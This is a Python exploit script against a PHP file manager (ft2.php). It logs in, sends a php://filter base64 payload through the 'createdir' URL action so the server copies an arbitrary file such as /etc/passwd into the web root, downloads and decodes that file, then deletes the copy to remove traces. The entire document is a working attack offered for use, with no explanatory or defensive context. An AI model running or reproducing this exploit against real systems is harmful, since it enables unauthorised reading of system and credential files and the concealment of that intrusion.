import requests
import base64

target = input("Target (e.g. http://1.2.3.4:5678): ")
username = input("Username: ")
password = input("Password: ")
file_to_read = input("File to read (e.g. index.php): ")

url = f"{target}/ft2.php"
filename = file_to_read.split("/")[-1]  # e.g. "passwd" from "/etc/passwd"
session = requests.Session()

# Login
r = session.post(url, data={"ft_user": username, "ft_pass": password, "act": "dologin"})

if "dologin" in r.url or "ft_pass" in r.text:
    print("[-] Login failed")
else:
    print("[+] Login successful")

    # Step 1: Copy file via php filter
    php_filter = f"php://filter/convert.base64-encode/resource={file_to_read}"
    r2 = session.post(url, data={
        "type": "url",
        "newdir": php_filter,
        "act": "createdir",
        "dir": "",
        "submit": "Ok"
    })
    print(f"[+] Payload sent - status: {r2.status_code}")

    # Step 2: Fetch the created file and decode it
    r3 = session.get(f"{target}/{filename}")
    if r3.status_code == 200:
        decoded = base64.b64decode(r3.text.strip()).decode(errors="replace")
        print(f"\n[+] Decoded content of {file_to_read}:\n")
        print(decoded)
    else:
        print(f"[-] Could not fetch file - status: {r3.status_code}")

    # Step 3: Cleanup - delete the file
    r4 = session.post(url, data={
        "newvalue": filename,
        "file": filename,
        "dir": "",
        "act": "delete"
    })
    print(f"\n[+] Cleanup done - status: {r4.status_code}")